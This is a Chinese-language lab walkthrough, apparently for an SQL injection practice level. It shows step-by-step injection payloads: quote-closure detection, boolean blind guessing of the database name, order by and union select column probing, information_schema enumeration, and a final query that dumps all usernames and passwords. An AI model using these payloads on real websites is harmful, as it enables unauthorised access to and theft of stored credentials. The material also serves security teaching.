初始显示:要求输入id
一:查询是否存在sql注入——从1开始原则
因为id=1在绝大多数系统中都存在,并且通常是自增的(auto_increment,插入新数据,id++)
所有尝试查询id=1,发现得到一组账号名与密码,
渐进性测试 id=1',发现报错格式,符合Mysql错误:You have an error in your sql.
字符型还是整型都会因为单引号个数不匹配而报错,但由关卡中的错误提示:near "1" LIMIT 0,1' at line 1,说明是单引号闭合,如果是双引号闭合,则会显示LIMIT 0.1"
再输入 ?id=1'--+ 正常
就可以确定我们的输入被直接拼接到了sql语句里面,可以进一步判断
流程总结:
输入?id=1 正常
输入?id=1' 报错
输入?id=1'--+ 正常
结果:字符型,闭合方式:单引号
二:补充:判断注入类型和闭合方式
sql注入类型:数字型,字符型(单引号与双引号),括号型
sql闭合方式:单引号,双引号,括号
如何判断:
注入类型 | 测试方法 | 预期反应 | 原始SQL可能形式 |
---|---|---|---|
数字型 | ?id=1 and 1=1 | 正常显示 | select ... where id=1 |
?id=1 and 1=2 | 空结果 | ||
字符型(单引号) | ?id=1' | 语法错误 | select ... where id='1' |
?id=1' and '1'='1 | 正常显示 | ||
?id=1' and '1'='2 | 空结果 | ||
字符型(双引号) | ?id=1" | 语法错误 | select ... where id="1" |
括号型 | ?id=1) | 语法错误 | select ... where id=(1) |
?id=1)) | 语法错误 | select ... where id=((1)) |
进阶补充:布尔盲注:
核心思想:构造真假条件:
-
条件为真时,页面显示正常内容
-
条件为假时,页面显示异常(空白/不同内容)
布尔盲注常用函数:字符串长度——length()
截取字符串——substring(str,pos,len)
获取字符ascii码——ascii()
模糊匹配——like
布尔盲注查询数据库名基本步骤:
1.判断是否存在布尔盲注
?id=1' and 1=1 --+ (正常显示,条件为真)
?id=1' and 1=2 --+ (异常/空白,条件为假)
2.判断当前数据库名长度
改变length之后的数字,直到页面返回正常
?id=1' and length(database())=5 --+
3.逐字符猜解数据库名
两种方法:
(1):substring 函数
?id=1' and substring(database(),1,1)='a' --+
?id=1' and substring(database(),1,1)='b' --+
...
(2): ascii码函数
?id=1' and ascii(substring(database(),1,1))=115 --+
三:查询数据库有几列
两种方法:
1.使用 order by 函数
操作步骤:从1开始递增++测试,直到出现类似错误
Unknown column '4' in 'order clause'
实操时当我们输入到
?id=1' order by 4--+
出现如下结果:
说明前一个成功的数字——3,就是列数
2.使用 union select 判断
!!ps:union 注入的前置条件:
id=-1 或 id=99999 -- 使前半个查询无结果
这里我们令id=-1,其主要目的是为了使原始查询返回为空集,从而使后续的union select部分生效并控制整个查询的结果
?id=-1' union select 1,2,3
?id=-1' union select 1,2,3,4
显示判断结果与order by同理;
四:查询目标列在第几列(确定关键列)
使用 union select
假设已确定有n列,则代码如下
?id=-1' union select 1,2,3,...n --+
然后我们观察页面上哪些数字位置显示出来了,可以看出数字2和3回显,1没有回显
后续判断就必须替换在2和3的位置
然后可以得出结论,name属于第二列,password 属于第三列
五:查询该数据库名称
原本第二列会显示数字2,我们使用 database(),放在第二列的位置,通过测试后,页面就会在这个位置显示数据库名称而非数字;
?id=-1' union select 1,database(),3 --+
得到数据库名称security
六:查询该数据库所有的表和列
使用 information_schema
查表名:
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查列名:
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),3 --+
七:查找数据!
?id=-1' union select 1,group_concat(username),group_concat(password) from users--+
查询的一些常用补充:
-
information_schema.tables:包含了当前数据库中所有表的信息。
- table_schema: 数据库的名称。
- table_name:表名。
-
information_schema.columns: 包含了当前数据库中所有表的列的信息。
- table_schema:数据库的名称。
- table_name: 表名。
- column_name:列名。
- data _type:列的数据类型。
- column_default:列的默认值。
- is_nullable: 列是否可以为
NULL
。